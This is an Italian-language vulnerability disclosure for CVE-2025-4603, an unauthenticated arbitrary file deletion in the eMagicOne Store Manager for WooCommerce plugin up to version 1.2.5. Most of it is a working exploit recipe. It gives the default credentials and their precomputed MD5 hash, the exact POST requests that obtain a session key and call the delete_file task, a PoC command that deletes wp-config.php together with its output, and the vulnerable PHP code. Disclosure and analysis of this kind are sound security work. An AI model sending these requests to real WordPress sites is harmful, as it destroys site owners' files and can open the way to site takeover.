
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Eliminazione arbitraria di file senza autenticazione
Il plugin eMagicOne Store Manager for WooCommerce espone un endpoint di protocollo di gestione remota (?connector=bridge) che consente operazioni di eliminazione di file sul server. Il meccanismo di autenticazione si basa su una coppia di credenziali predefinite (login=1, password=1) e su un sistema di chiavi di sessione. Se le credenziali predefinite non vengono modificate, un attaccante può autenticarsi banalmente, ottenere una chiave di sessione ed eliminare file arbitrari dalla root di WordPress o da qualsiasi directory accessibile.
Viene fornito un POC CVE-2025-4603.py per dimostrare come un attaccante elimina wp-config.php.
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
All'attivazione del plugin, vengono impostate le seguenti costanti in smconnector.php:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
L'hash predefinito usato per l'autenticazione è:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
Risultato: L'hash predefinito è md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.
Una chiave di sessione viene ottenuta inviando una richiesta POST all'endpoint bridge con l'hash e un task (ad es., get_version):
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
Codice rilevante:
classes/class-emosmconnectorcommon.php (righe ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
La chiave di sessione viene archiviata nella tabella wp_smconnector_session_keys:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
Con una chiave di sessione valida, un attaccante può eliminare un file utilizzando il task delete_file:
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
Codice rilevante:
classes/class-emosmconnectorcommon.php (righe ~2167+):
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
Eliminazione file in class-emosmcwoocommerceoverrider.php (righe ~380+)::
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
Risultato: Il file viene eliminato dal server.